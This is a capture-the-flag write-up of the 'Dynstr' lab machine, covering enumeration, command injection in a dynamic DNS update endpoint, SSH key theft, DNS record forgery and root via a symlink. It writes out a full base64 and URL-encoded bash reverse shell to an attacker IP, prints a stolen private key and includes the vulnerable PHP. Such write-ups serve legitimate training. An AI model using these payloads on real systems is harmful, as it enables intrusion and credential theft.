Footprinting
Open ports
Only SSH, DNS and HTTP services are running:
kali@kali:~$ sudo nmap -sS -p- -Pn -v10 -oA syn_full 10.10.10.244
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
kali@kali:~$ sudo nmap -sC -sV -p22,53,80 -Pn -v10 -oA vuln 10.10.10.244
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC//sbOTQwLRH4CGj3riDnnTvTCiJT1Uz7CyRSD2Tkh2wkT20rtAq13c5M1LC2kxki2bz9Ptxxx340Cc9tAcQaPZbmHndQe/H1bGiVZCKjOl2WqWQTV9fq6GGtflC94BkkLrmkWHzqg+S50g2Zg0iesPMkKAmwqwEVZx9npe1QuF3RQu5EYQXRYVOzpqQdU+jRD267gCvsKp9xmr7trZ1UzFxfBUOzSCWa3Adm2TTFwiA5jTb6x0lKVnQtgKghioMQeXXPuiTLCbI0XfbksoRI2OBAvTZf7RsIthKCiyCQRWjVh5Idr5Fh7GgwYaDgW662W3V3hCNEQRY8R9/fXWdVho1gWbm6NFt+NyRO/6F2XDvPseBYr+Yi6zwGEM+PpsTi5dfj8yYKRZ3HFXwjeBGjCPMRe9XPpCvvDnHAF18B1INVJPSwAIVll365V5D18JslQh7PpAWxO70TzmEC9E+UPXOrt29tZ0Zi/uApFRM700pdOhnvcs8q4RBWaUpp3ZB0=
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFtYzp8umMbm7o9+1LUTVio/dduowE/AsA3rO52A5Q/Cuct9GY6IZEvPE+/XpEiNCPMSl991kjHT+WaAunmTbT4=
| 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOz8b9MDlSPP5QJgSHy6fpG98bdKCgvqhuu07v5NFkdx
53/tcp open domain syn-ack ttl 63 ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Enumeration
In the website, valuable information is given:
dyna.htb
dnsalias.htb
dynamicdns.htb
no-ip.htb
dns1.dyna.htb
Username: dynadns
Password: sndanyd
E: dns@dyna.htb
We suppose dynamicdns.htb
is a master DNS server. For instance, we may request any domain name using that master:
kali@kali:~$ nslookup -type=any
> set port=53
> server dynamicdns.htb
> dnsalias.htb
Server: dynamicdns.htb
Address: 10.10.10.244#53
dnsalias.htb
origin = dns1.dyna.htb
mail addr = hostmaster.dyna.htb
serial = 2021030320
refresh = 21600
retry = 3600
expire = 604800
minimum = 60
dnsalias.htb nameserver = dns1.dyna.htb.
An interesting attack scenario against DNS servers is to look for a potential TXT record that may disclose sensitive information (eg. secret key, passwords, ...). Only a version of Ubuntu is disclosed here:
kali@kali:~$ dig version.bind CHAOS TXT @10.10.10.244
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 510
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f01b5cdd95451f840100000061536c5e0f7afb0026c28e54 (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.16.1-Ubuntu"
Nothing interesting, let's move on to the HTTP enumeration a look for potentially sensitive web pages:
kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.10.244/FUZZ -t 50 -v -fc 404
http://10.10.10.244/nic (Status: 301) [Size: 310] [--> http://10.10.10.244/nic/]
kali@kali:~$ gobuster dir -u http://10.10.10.244/nic/ -w /usr/share/wordlists/dirb/common.txt -e -k -t 10 -o http/gobuster_dir_nic.txt
http://10.10.10.244/nic/.htaccess (Status: 403) [Size: 277]
http://10.10.10.244/nic/.hta (Status: 403) [Size: 277]
http://10.10.10.244/nic/.htpasswd (Status: 403) [Size: 277]
http://10.10.10.244/nic/index.html (Status: 200) [Size: 0]
http://10.10.10.244/nic/update (Status: 200) [Size: 8]
> badauth
Dynamic DNS
Quick searches show that the nic
portal is an API used to dynamically update an IP's domain ([1], [2], [3]). This can be used, for example, to :
Prevent conflicts between DHCP (issuing arbitrary static IP on new devices in the network) and the DNS (which is pre-configured manually to link an IP with a domain name) ;
Dynamically and automatically issue available domain names, whatever the IP might be. Thus, instead of processing IP addresses, domain names alone might be used ;
Anyhow, let's interact with the /nic/update
endpoint and see what happens with the Basic authentication dynadns:sndanyd
:
>>>
GET /nic/update?hostname=dynamicdns.htb&myip=10.10.10.244 HTTP/1.1
Host: 10.10.10.244
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Authorization: Basic ZHluYWRuczpzbmRhbnlk
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<<<
> 911 [wrngdom: htb]
The response contains our hostname parameter htb
. This is the wrongdomain
. Trials and errors give the valid hostname=dynamicdns.dnsalias.htb
:
good 10.10.10.244
Also, invalid hostnames (eg. containing an extra period, such as .no-ip.htb
, .dnsalias.htb
, .dynamicdns.htb)
shows an nsupdate
error:
911 [nsupdate failed]
nsupdate
is a linux tool used to submit Dynamic DNS Update requests to a name server. This allows resource records to be added or removed from a zone without manually editing the zone file. A single update request can contain requests to add or remove more than one resource record.
For example, we may define the TYPE A
record type hey.dnsalias.htb:12.34.56.78
:
>>>
GET /nic/update?hostname=hey.dnsalias.htb&myip=12.34.56.78 HTTP/1.1
<<<
nslookup
> type any
> server 10.10.10.244
> hey.dnsalias.htb
Name: hey.dnsalias.htb
Address: 12.34.56.78
Where the input is likely to be processed as :
nsupdate
> update add "<HOSTNAME>" 86400 A <IP>
RCE
Therefore, we can inject a shell command through that web-based DDNS feature looking like this:
`echo <BASE64> | base64 -d | bash`
Therefore, let's setup a listener locally:
kali@kali:~$ nc -nlvp 4444
And encode our reverse shell and put it in the URL
kali@kali:~$ echo 'bash -i >& /dev/tcp/10.10.15.34/4444 0>&1' |base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4zNC80NDQ0IDA+JjEK
`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4zNC80NDQ0IDA+JjEK |base64 -d|bash`"dynamicdns.dnsalias.htb
curl 'http://dynadns:sndanyd@10.10.10.244//nic/update?hostname=%60%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%53%34%7a%4e%43%38%30%4e%44%51%30%49%44%41%2b%4a%6a%45%4b%20%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%60%22%64%79%6e%61%6d%69%63%64%6e%73%2e%64%6e%73%61%6c%69%61%73%2e%68%74%62&myip=%2610.10.10.244'
Local Privilege Escalation
www-data
In bindmgr
user directory, files disclose its history:
curl -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip
curl -v -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip --pubkey ~/.ssh/id_rsa.pub
strace -fs 2048 curl -v -sk sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip --pubkey ~/.ssh/id_rsa.pubkey
SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8
write(2, "Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'\n", 58Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
) = 58
write(2, "*", 1*) = 1
write(2, " ", 1 ) = 1
write(2, "Using SSH private key file '/home/bindmgr/.ssh/id_rsa'\n", 55Using SSH private key file '/home/bindmgr/.ssh/id_rsa'
) = 55
-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----
python -c 'print(ID_RSA)'
ssh -i bindmgr_id_rsa bindmgr@10.10.10.244
However, the authentication fails when we try to use the private key of bindmgr
🫤
bindmgr
Looking at the server-side authorized_keys
, we see that only domain names ending with *.infra.dyna.htb
are allowed:
www-data@dynstr:~$ cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AA...
Therefore, the idea would be to update our attacker machine's IP to any domain name within *.infra.dyna.htb
(eg. jamarir.infra.dyna.htb
), to tell the victim's DNS that our hostname is trustworthy.
The PHP code of the previous
/nic/update
web page limits the usable hostnames to*.dnsalias.htb
,*.dynamicdns.htb
, and*.no-ip.htb
. Therefore, the webpage cannot be used to perform the update. Rather, since we have a system shell on the target, we can simply usensupdate
.
<?php
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }
// Set $myip from GET, defaulting to REMOTE_ADDR
$myip = $_SERVER['REMOTE_ADDR'];
if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }
if(isset($_GET['hostname'])) {
// Check for a valid domain
list($h,$d) = explode(".",$_GET['hostname'],2);
$validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
// Update DNS entry
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
// Return good or 911
if (!$retval) {
echo "good $myip\n";
} else {
echo "911 [nsupdate failed]\n"; exit;
}
} else {
echo "nochg $myip\n";
}
?>
It should be noted that we cannot simply register a DNS record (A type) alone, without its associated Reverse DNS Lookup:
While DNS A records are stored under the given domain name, DNS PTR records are stored under the IP address — reversed, and with
.in-addr.arpa
added. For example, the PTR record for the IP address 192.0.2.255 would be stored under255.2.0.192.in-addr.arpa
.
in-addr.arpa
has to be added because PTR records are stored within the .arpa top-level domain in the DNS..arpa
is a domain used mostly for managing network infrastructure, and it was the first top-level domain name defined for the Internet.
In particular, email servers use PTR records to get the IP of a domain name, and check the IP's legitimacy:
Many email servers will reject messages from any server that does not support reverse lookups or from a server that is highly unlikely to be legitimate. Spammers often use IP addresses from hijacked machines, which means there will be no PTR record.
As RFC1912 states:
Make sure your PTR and A records match. For every IP address, there should be a matching PTR record in the
in-addr.arpa
domain.
However, the following DNS record update errors out ☹️:
www-data@dynstr:~$ nsupdate
server 127.0.0.1
zone infra.dyna.htb
update delete jamarir.infra.dyna.htb
update add jamarir.infra.dyna.htb 86400 IN A 10.10.15.34
update add 34.15.10.10.in-addr.arpa 86400 IN PTR jamarir.infra.dyna.htb
send
Indeed, a specific format must be used. In particular, a blank line must separate the A and PTR records. Also, a secret key is required with nsupdate
. The key is stored in the /etc/bind/infra.key
through the -k
parameter:
www-data@dynstr:~$ nsupdate -k /etc/bind/infra.key
update add jamarir.infra.dyna.htb. 300 A 10.10.15.34
update add 34.15.10.10.in-addr.arpa. 300 PTR jamarir.infra.dyna.htb.
send
Our hostname is now correctly resolved:
> jamarir.infra.dyna.htb
Server: 10.10.10.244
Address: 10.10.10.244#53
Name: jamarir.infra.dyna.htb
Address: 10.10.15.34
Now, get the user flag :)
kali@kali:~$ ssh -i bindmgr_id_rsa bindmgr@10.10.10.244
bindmgr@dynstr:~$ cat user.txt
e8[...]01
root
Finally, it's pretty straightforward. bindmgr
is allowed to run bindmgr.sh
as root
:
bindmgr@dynstr:~$ sudo -l
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
This script displays the content of a .version
file in the current directory:
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
Because the program's running as root during its execution, we can simply create a symbolic from .version
to /root/root.txt
to get the root flag:
bindmgr@dynstr:~$ ln -s /root/root.txt .version
bindmgr@dynstr:~$ sudo /usr/local/bin/bindmgr.sh
58[...]24